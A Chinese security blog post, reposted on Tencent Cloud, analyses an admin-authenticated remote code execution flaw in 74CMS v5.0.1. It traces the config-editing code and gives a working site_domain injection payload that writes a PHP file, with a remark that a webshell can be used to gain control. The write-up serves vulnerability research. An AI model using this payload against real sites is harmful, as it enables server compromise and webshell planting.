74CMS后台RCE分析

文章前言

当笔者第一次看到这个漏洞时,感觉这个漏洞挺鸡肋的,因为需要登录后台管理账户才可以实现RCE,但后期发现这个漏洞的思路挺不错,该漏洞从一个简简单单的网站域名设置到写入恶意代码到url文件,之后再到访问url文件导致恶意代码被执行,最后实现getshell,整个漏洞挖掘思路很是别出心裁,同时也算是给自己了一个警醒——"小功能点"不容小视,下面对该漏洞进行一个简易分析

影响范围

74CMS_v5.0.1

利用条件

登陆后台

漏洞复现

环境搭建 前往74CMS官网下载v5.0.1版本系统安装包:http://www.74cms.com/download/index.html

之后在本地使用PHPstudy来搭建环境:

漏洞利用 首先使用管理员账号登陆后台,点击保存网络配置并使用burpsuite抓包:

之后修改site_domain如下:

<?php phpinfo();?>

base64之后

PD9waHAgcGhwaW5mbygpOz8+

payload:

site_domain=', file_put_contents('403.php',base64_decode('PD9waHAgcGhwaW5mbygpOz8%2b')),'

之后再请求一次:/74cms/Application/Common/Conf/url.php使得其中的恶意PHP代码被执行:

之后成功写入403.php文件,文件内容如下所示:

之后访问:

在实战中修改文件内容为一句话木马即可成功getshell,这里不再赘述~

漏洞分析

I函数简介

新版本的74CMS底层使用TP进行了重构,而该漏洞又涉及到I函数,所以我们这里先来介绍一下TP中的I函数,I函数的作用是获取系统变量,必要时还可以对变量值进行过滤及强制转化,I函数的语法格式:

I('变量类型.变量名/修饰符',['默认值'],['过滤方法或正则'],['额外数据源'])

获取变量 在PHP中获取变量值的方法有很多,比如:_GET['变量名'],_POST['变量名'],_SESSION['变量名'],_COOKIE['变量名'],SERVER['变量名'] 都可以获取相应的变量值,但在TP中为了安全的原因建议统一使用 I 函数来获取变量值,例如:获取URL地址栏中参数id的值,在php中我们用_GET['id'] 来获取,在thinkphp中我们可以用I('get.id')来获取,同样,

如果要获取的变量类型是get、post或put,可以统一用param变量类型,param变量类型是框架特有的支持自动判断当前请求类型的变量获取方式,例如:I('param.id') ,如果当前请求类型是GET,那么等效于_GET['id'],如果当前请求类型是POST或者PUT,那么相当于获取_POST['id'] 或者PUT参数id。而事实上当 I 函数获取的变量类型是param时变量类型可以省略直接写为:I('变量名') ,那么 _GET['id']、_POST['id'] 都可以简写为:I('id') ,但当变量类型为其他类型时就不能这么简写,比如 I('cookie.id')、I('session.id')就不能简写。注意:I 函数的变量类型不区分大小写,但变量名严格区分大小写,比如 I('get.id') 可以写成 I('GET.id'),但不能写成 I('get.ID')变量过滤 I函数本身默认的过滤机制是htmlspecialchars,因为在配置文件中配置了:

// 系统默认的变量过滤机制
'DEFAULT_FILTER'        =>  'htmlspecialchars',

所以I('post.变量名') 就等同于htmlspecialchars($_POST('变量名')),如果I函数自身带了过滤方法,则用自身带的过滤机制过滤变量,比如:

I('post.email','请输入正确的email地址',FILTER_VALIDATE_EMAIL);

表示会对$_POST['email'] 进行格式验证判断是否符合email 的格式要求,如果不符合的话,返回提示信息,上面的代码也可以简化:

I('post.email','请输入正确的email地址','email')

上面的 FILTER_VALIDATE_EMAIL是不带引号的,下面的email 是带引号的,像上面 email那样简写的过滤方法名必须是 filter_list方法中的有效值(不同的服务器环境可能有所不同),可能支持的包括:

  • int
  • boolean
  • float
  • validate_regexp
  • validate_url
  • validate_email
  • validate_ip
  • string
  • stripped
  • encoded
  • special_chars
  • unsafe_raw
  • email
  • url
  • number_int
  • number_float
  • magic_quotes
  • callback

变量修饰符 变量修饰符和变量名称之间用“/”分割开来,变量修饰符的作用是强制转化变量的字符类型,比如:

I('get.id/d'); // 强制变量转换为整型
I('post.name/s'); // 强制转换变量为字符串类型
I('post.ids/a'); // 强制变量转换为数组类型

可以使用的修饰符包括:

源码分析

下面我们对此漏洞进行分析,这里我们采用正向跟踪分析的方式进行分析,首先,我们根据POC请求包中的URL来对漏洞文件进行定位: URL地址:/74cms/index.php?m=Admin&c=config&a=edit URL简化:Controller=config&action=edit 文件定位:/Application/Admin/Controller/ConfigController.class.php 函数代码:

public function edit(){
        if(IS_POST){
            $site_domain = I('request.site_domain','','trim');
            $site_domain = trim($site_domain,'/');
            $site_dir = I('request.site_dir',C('qscms_site_dir'),'trim');
            $site_dir = $site_dir==''?'/':$site_dir;
            $site_dir = $site_dir=='/'?$site_dir:('/'.trim($site_dir,'/').'/');
            $_POST['site_dir'] = $site_dir;
            if($site_domain && $site_domain != C('qscms_site_domain')){
                if($site_domain == C('qscms_wap_domain')){
                    $this->returnMsg(0,'主域名不能与触屏版域名重复!');
                }
                $str = str_replace('http://','',$site_domain);
                $str = str_replace('https://','',$str);
                if(preg_match('/com.cn|net.cn|gov.cn|org.cn$/',$str) === 1){
                    $domain = array_slice(explode('.', $str), -3, 3);
                }else{
                    $domain = array_slice(explode('.', $str), -2, 2);
                }
                $domain = '.'.implode('.',$domain);
                $config['SESSION_OPTIONS'] = array('domain'=>$domain);
                $config['COOKIE_DOMAIN'] = $domain;
                $this->update_config($config,CONF_PATH.'url.php');
            }
            $logo_home = I('request.logo_home','','trim');
            if(strpos($logo_home,'..')!==false){
                $_POST['logo_home'] = '';
            }
            // $logo_user = I('request.logo_user','','trim');
            // if(strpos($logo_user,'..')!==false){
            //     $_POST['logo_user'] = '';
            // }
            $logo_other = I('request.logo_other','','trim');
            if(strpos($logo_other,'..')!==false){
                $_POST['logo_other'] = '';
            }
            if($default_district = I('post.default_district',0,'intval')){
                $city = get_city_info($default_district);
                $_POST['default_district'] = $city['district'];
                $_POST['default_district_spell'] = $city['district_spell'];
                /*选中最后一级,默认选择上一级
                $s = D('CategoryDistrict')->get_district_cache($default_district);
                $city = get_city_info($default_district);
                if(!$s){
                    $citycategory = explode('.',$city['district']);
                    if(2 <= count($citycategory)){
                        array_pop($citycategory);
                        $district_spell = explode('.',$city['district_spell']);
                        array_pop($district_spell);
                        $_POST['default_district'] = implode('.',$citycategory);
                        $_POST['default_district_spell'] = implode('.',$district_spell);
                    }else{
                        $_POST['default_district'] = '';
                        $_POST['default_district_spell'] = '';
                    }
                }else{
                    $_POST['default_district'] = $city['district'];
                    $_POST['default_district_spell'] = $city['district_spell'];
                }
                 */
            }
        }
        $this->_edit();
        $this->display();
    }

可以看到此处传递进来的site_domain参数会首先经过I函数进行一次输入过滤,I函数的过滤如下所示(部分已注释,可借鉴之前的介绍):ThinkPHP\Common\functions.php

/**
 * 获取输入参数 支持过滤和默认值
 * 使用方法:
 * <code>
 * I('id',0); 获取id参数 自动判断get或者post
 * I('post.name','','htmlspecialchars'); 获取$_POST['name']
 * I('get.'); 获取$_GET
 * </code>
 * @param string $name 变量的名称 支持指定类型
 * @param mixed $default 不存在的时候默认值
 * @param mixed $filter 参数过滤方法
 * @param mixed $datas 要获取的额外数据源
 * @return mixed
 */
function I($name,$default='',$filter=null,$datas=null) {
    static $_PUT    =   null;
    if(strpos($name,'/')){ // 指定修饰符
        list($name,$type)   =   explode('/',$name,2);
    }elseif(C('VAR_AUTO_STRING')){ // 默认强制转换为字符串
        $type   =   's';
    }
    if(strpos($name,'.')) { // 指定参数来源
        list($method,$name) =   explode('.',$name,2);
    }else{ // 默认为自动判断
        $method =   'param';
    }
    switch(strtolower($method)) {
        case 'get'     :   
            $input =& $_GET;
            break;
        case 'post'    :   
            $input =& $_POST;
            break;
        case 'put'     :   
            if(is_null($_PUT)){
                parse_str(file_get_contents('php://input'), $_PUT);
            }
            $input  =   $_PUT;        
            break;
        case 'param'   :
            switch($_SERVER['REQUEST_METHOD']) {
                case 'POST':
                    $input  =  $_POST;
                    break;
                case 'PUT':
                    if(is_null($_PUT)){
                        parse_str(file_get_contents('php://input'), $_PUT);
                    }
                    $input  =   $_PUT;
                    break;
                default:
                    $input  =  $_GET;
            }
            break;
        case 'path'    :   
            $input  =   array();
            if(!empty($_SERVER['PATH_INFO'])){
                $depr   =   C('URL_PATHINFO_DEPR');
                $input  =   explode($depr,trim($_SERVER['PATH_INFO'],$depr));            
            }
            break;
        case 'request' :   
            $input =& $_REQUEST;   
            break;
        case 'session' :   
            $input =& $_SESSION;   
            break;
        case 'cookie'  :   
            $input =& $_COOKIE;    
            break;
        case 'server'  :   
            $input =& $_SERVER;    
            break;
        case 'globals' :   
            $input =& $GLOBALS;    
            break;
        case 'data'    :   
            $input =& $datas;      
            break;
        default:
            return null;
    }
    if(''==$name) { // 获取全部变量
        $data       =   $input;
        $filters = isset($filter) ? $filter.','.C('DEFAULT_FILTER') : C('DEFAULT_FILTER');
        //$filters    =   isset($filter)?$filter:C('DEFAULT_FILTER');
        if($filters) {
            if(is_string($filters)){
                $filters    =   explode(',',$filters);
            }

            foreach($filters as $filter){
                $data   =   array_map_recursive($filter,$data); // 参数过滤
            }
        }
    }elseif(isset($input[$name])) { // 取值操作
        $data       =   $input[$name];
        $filters = isset($filter) ? $filter.','.C('DEFAULT_FILTER') : C('DEFAULT_FILTER');
        //$filters    =   isset($filter)?$filter:C('DEFAULT_FILTER');
        if($filters) {
            if(is_string($filters)){
                if(0 === strpos($filters,'/')){
                    if(1 !== preg_match($filters,(string)$data)){
                        // 支持正则验证
                        return   isset($default) ? $default : null;
                    }
                }else{
                    $filters    =   explode(',',$filters);                    
                }
            }elseif(is_int($filters)){
                $filters    =   array($filters);
            }

            if(is_array($filters)){
                foreach($filters as $filter){
                    if(function_exists($filter)) {
                        $data   =   is_array($data) ? array_map_recursive($filter,$data) : $filter($data); // 参数过滤
                    }else{
                        $data   =   filter_var($data,is_int($filter) ? $filter : filter_id($filter));
                        if(false === $data) {
                            return   isset($default) ? $default : null;
                        }
                    }
                }
            }
        }
        if(!empty($type)){
            switch(strtolower($type)){
                case 'a':   // 数组
                    $data   =   (array)$data;
                    break;
                case 'd':   // 数字
                    $data   =   (int)$data;
                    break;
                case 'f':   // 浮点
                    $data   =   (float)$data;
                    break;
                case 'b':   // 布尔
                    $data   =   (boolean)$data;
                    break;
                case 's':   // 字符串
                default:
                    $data   =   (string)$data;
            }
        }
    }else{ // 变量默认值
        $data       =    isset($default)?$default:null;
    }
    is_array($data) && array_walk_recursive($data,'think_filter');
    return $data;
}

再上述I函数中,参数name——>request.site_domain,参数tyep为's',即数据类型未字符串,之后进入到紧跟着的"if(strpos(name取值并将其分配指配给参数method与name,此时的method即为requets,而name为site_domain(即我们传递进来的参数值),之后跟进method进行匹配操作,在此处由于method为request,所以最终input为REQUEST,之后退出循环。

之后在进行下面的另一个if...else判断,此处的name不为空,所以直接进入else语句中,之后通过语句:isset(input[name])来判断是否设置name的值,此时的判断等级于isset(REQUEST[site_domain]),很显然我们的payload中构造的参数正是有site-domain传递进来的,所以此处定然不为空,之后继续下下分析,在这里会对data进行一次赋值操作,数据为我们传递过来的site_domain的值,而此时的fileters为我们的trim(对字符串两侧的特定字符进行移除操作),之后通过调用array_map_recursive函数对参数进行过滤操作,array_map_recursive代码如下所示:

function array_map_recursive($filter, $data) {
    $result = array();
    foreach ($data as $key => $val) {
        $result[$key] = is_array($val)
         ? array_map_recursive($filter, $val)
         : call_user_func($filter, $val);
    }
    return $result;
 }

在array_map_recursive函数中会通过一个循环来递归对data中的数据进行参数过滤,之后将传入的filter——>val—>data进行一次两边去空格、去Tab键等操作。之后我们再往下跟踪分析,之后会根据type的值来对data进行一次前置转换,此处为s,即字符串类型,在最后会通过array_walk_recursive来递归调用think_fliter对data进行一次安全过滤操作,think_fliter函数代码如下所示:

function think_filter(&$value){
    // TODO 其他安全过滤

    // 过滤查询特殊字符
    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
        $value .= ' ';
    }
}

可以看到该函数主要过滤了一些查询特殊字符,此处应该为防止SQL注入的安全防护措施,此处对我们payload中的site_domain不会造成任何影响。下面我们继续返回之前的/Application/Admin/Controller/ConfigController.class.php文件中进行分析,之后可以看到此处的site_domain会继续被传进trim函数中经一次移除"/"操作,之后判断site_domain是否等于'qscms_site_domain'(此处的C函数用于获取和设置配置参数),之后对site_domain中的"http://"或"https://"进行一次替换操作,并将其复制给str,最后调用update_config函数进行一次更新配置操作,并以config作为参数进行传递(反向溯源:domain—>

public function edit(){
        if(IS_POST){
            $site_domain = I('request.site_domain','','trim');
            $site_domain = trim($site_domain,'/');
            $site_dir = I('request.site_dir',C('qscms_site_dir'),'trim');
            $site_dir = $site_dir==''?'/':$site_dir;
            $site_dir = $site_dir=='/'?$site_dir:('/'.trim($site_dir,'/').'/');
            $_POST['site_dir'] = $site_dir;
            if($site_domain && $site_domain != C('qscms_site_domain')){
                if($site_domain == C('qscms_wap_domain')){
                    $this->returnMsg(0,'主域名不能与触屏版域名重复!');
                }
                $str = str_replace('http://','',$site_domain);
                $str = str_replace('https://','',$str);
                if(preg_match('/com.cn|net.cn|gov.cn|org.cn$/',$str) === 1){
                    $domain = array_slice(explode('.', $str), -3, 3);
                }else{
                    $domain = array_slice(explode('.', $str), -2, 2);
                }
                $domain = '.'.implode('.',$domain);
                $config['SESSION_OPTIONS'] = array('domain'=>$domain);
                $config['COOKIE_DOMAIN'] = $domain;
                $this->update_config($config,CONF_PATH.'url.php');
            }
            $logo_home = I('request.logo_home','','trim');
            if(strpos($logo_home,'..')!==false){
                $_POST['logo_home'] = '';
            }
            // $logo_user = I('request.logo_user','','trim');
            // if(strpos($logo_user,'..')!==false){
            //     $_POST['logo_user'] = '';
            // }
            $logo_other = I('request.logo_other','','trim');
            if(strpos($logo_other,'..')!==false){
                $_POST['logo_other'] = '';
            }
            if($default_district = I('post.default_district',0,'intval')){
                $city = get_city_info($default_district);
                $_POST['default_district'] = $city['district'];
                $_POST['default_district_spell'] = $city['district_spell'];
                /*选中最后一级,默认选择上一级
                $s = D('CategoryDistrict')->get_district_cache($default_district);
                $city = get_city_info($default_district);
                if(!$s){
                    $citycategory = explode('.',$city['district']);
                    if(2 <= count($citycategory)){
                        array_pop($citycategory);
                        $district_spell = explode('.',$city['district_spell']);
                        array_pop($district_spell);
                        $_POST['default_district'] = implode('.',$citycategory);
                        $_POST['default_district_spell'] = implode('.',$district_spell);
                    }else{
                        $_POST['default_district'] = '';
                        $_POST['default_district_spell'] = '';
                    }
                }else{
                    $_POST['default_district'] = $city['district'];
                    $_POST['default_district_spell'] = $city['district_spell'];
                }
                 */
            }
        }
        $this->_edit();
        $this->display();
    }

之后跟进update_config函数,函数代码如下所示:文件位置:Application\Common\Controller\BackendController.class.php

public function update_config($new_config, $config_file = '') {
        !is_file($config_file) && $config_file = HOME_CONFIG_PATH . 'config.php';
        if (is_writable($config_file)) {
            $config = require $config_file;
            $config = multimerge($config, $new_config);
            if($config['SESSION_OPTIONS']){
                $config['SESSION_OPTIONS']['path'] = SESSION_PATH;
            }
            file_put_contents($config_file, "<?php \nreturn " . stripslashes(var_export($config, true)) . ";", LOCK_EX);
            @unlink(RUNTIME_FILE);
            return true;
        } else {
            return false;
        }
    }

在该函数中,首先判断config_file(Application/Common/Conf/url.php)是否是一个文件,并对config_file的路径进行重定义(此处的HOME_CONFIG_PATH为:/Application/Home/Conf/),之后判断文件是否可写,之后调用multimerge方法,在multimerge方法中进行一次类似于复制的操作将new_config(我们恶意请求中的site_domain)中的内容复制到config_file中:

function multimerge($a, $b) {
    if (is_array($b) && count($b)) {
        foreach ($b as $k => $v) {
            if (is_array($v) && count($v)) {
                $a[$k] = in_array($k, array('SESSION_OPTIONS')) ? multimerge($a[$k], $v) : $v;
            } else {
                $a[$k] = $v;
            }
        }
    } else {
        $a = $b;
    }
    return $a;
}

之后返回到BackendController.class.php中在L475行会进行一次写文件操作,其中config_file为Application/Common/Conf/url.php,内容config为我们恶意请求中的site_domain的内容,再次我们可以向Application/Common/Conf/url.php写入我们构造的恶意PHP代码:

public function update_config($new_config, $config_file = '') {
        !is_file($config_file) && $config_file = HOME_CONFIG_PATH . 'config.php';
        if (is_writable($config_file)) {
            $config = require $config_file;
            $config = multimerge($config, $new_config);
            if($config['SESSION_OPTIONS']){
                $config['SESSION_OPTIONS']['path'] = SESSION_PATH;
            }
            file_put_contents($config_file, "<?php \nreturn " . stripslashes(var_export($config, true)) . ";", LOCK_EX);
            @unlink(RUNTIME_FILE);
            return true;
        } else {
            return false;
        }
    }

在这里我们可以看一下之前我们在漏洞利用阶段是否有写入恶意PHP代码到url.php中呢?从下图可以看到是有的,这里笔者利用了两次,所有有两次的记录:

在利用漏洞的最后一个阶段,我们只需要访问url.php,之后使其内部的代码执行即可实现写文件到当前目录下的403.php中~

文末小结

很多时候,在代码审计过程中我们往往会忽略一些细小的功能点,例如本文的网站域名更新设置,这些更新、删除、查询、新增逻辑等很多时候如果通过代码层面向下进行跟踪分析,很可能有意想不到的惊喜

参考链接

https://www.cnblogs.com/programs/p/5490151.html https://github.com/kyrie403/Vuln/blob/master/74cms/74cms%20v5.0.1%20remote%20code%20execution.md

本文分享自微信公众号 - 七芒星实验室(HeptagramSec),作者:Al1ex

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2021-05-07

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 漏洞|74cms 3.6 前台SQL注入+Python脚本小练习

    最近有个74cms v4.2.3任意文件下载的漏洞,本来想试着和74cms 3.6 前台SQL注入漏洞结合下然后取出QS_pwdhash的值进行MD5碰撞,可...

    漏斗社区
  • DedeCMS v5.7 SP2后台SSTI到RCE再到GetShell

    DedeCMS v5.7 SP2后台允许编辑模板页面,通过测试发现攻击者在登陆后台的前提条件下可以通过在模板中插入恶意的具备dedecms模板格式且带有runp...

    Al1ex
  • Thinkphp5.0.0-5.0.18 RCE分析

    漏洞代码位于:thinkphp/library/think/Request.php

    Gcow安全团队
  • PHP代码审计

    代码审计顾名思义就是检查源代码中的缺点和错误信息,分析并找到这些问题引发的安全漏洞,并提供代码修订措施和建议。

    信安之路
  • PHP代码审计

    代码审计顾名思义就是检查源代码中的缺点和错误信息,分析并找到这些问题引发的安全漏洞,并提供代码修订措施和建议。PHP代码审计审计套路通读全文法 ...

    企鹅号小编
  • 记我在HackerOne上参与的一次漏洞众测邀请项目

    这是一件关于我参与Hackerone平台某漏洞邀请项目的事,在此我要感谢该项目发起公司,他们友善的态度、及时的漏洞修复和奖金发放效率,让所有存在的提交漏洞都能在...

    FB客服
  • seacms 9.92全局变量覆盖从越权到RCE

    海洋cms是为解决站长核心需求而设计的内容管理系统,一套程序自适应电脑、手机、平板、APP多个终端入口,无任何加密代码、安全有保障,是最佳的建站工具。

    FB客服
  • vBulletin vB_Api_Hook->decodeArguments RCE 分析

    介绍: vBulletin是一个国外著名的商业论坛程序。前几天因官网被黑,而被爆出一个命令执行漏洞。 我们最早获得的一篇分析是在Pastie上的http://p...

    安恒信息
  • Nuxeo RCE漏洞分析

    链接地址:https://v.qq.com/x/page/k3242hhatge.html

    小生观察室
  • CVE-2017-12629 - Apache Solr XXE & RCE 漏洞分析

    风流
  • CVE-2020-36189:Jackson-databind SSRF&RCE

    com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource类绕过了...

    Al1ex
  • CVE-2020-36179:Jackson-databind SSRF&RCE

    使用了com.h2database\com.newrelic.agent.java第三方依赖库

    Al1ex
  • 通达OA v11.7后台SQL注入到RCE[0day]

    注入出现在general/hr/manage/query/delete_cascade.php文件中,代码实现如下:

    tnt阿信
  • 安全产品不安全?僵尸网络瞄准SonicWall SSL V**

    近期,我们的威胁捕获系统捕获到一个利用SonicWall “Virtual Office” SSL V** RCE进行传播的Mirai dark系列变种,该系列...

    绿盟科技研究通讯
  • 实习记录(二) - Shiro反序列化漏洞

    Naraku
  • 挖洞经验 | 综合三个Bug实现Discord桌面应用RCE漏洞

    本文讲述了作者在参加Discord众测的过程中,通过多个bug的综合利用,成功发现了Discord桌面应用的远程代码执行漏洞(RCE),收获了$5,300的奖励...

    FB客服
  • 首发—攻击者开始攻击Edimax WiFi桥接器

    2020年4月14日,Exploit DB公布了一个针对Edimax WiFi桥接器的远程执行漏洞的利用(EDB-ID:48318[1]),该利用从Shodan...

    绿盟科技研究通讯
  • Rocket.Chat 远程命令执行漏洞分析

    Rocket.Chat 是一个开源的完全可定制的通信平台,由 Javascript 开发,适用于具有高标准数据保护的组织。

    Seebug漏洞平台
  • thinkphp5 RCE分析及复现

    tp5最近爆了个rce,最先看到是在斗鱼src公众号上发的分析文章,这么大的洞,到了第二天那些什么安全网站连个预警都没有,估计tp5的站都被撸穿了。

    Deen_

扫码关注云+社区

领取腾讯云代金券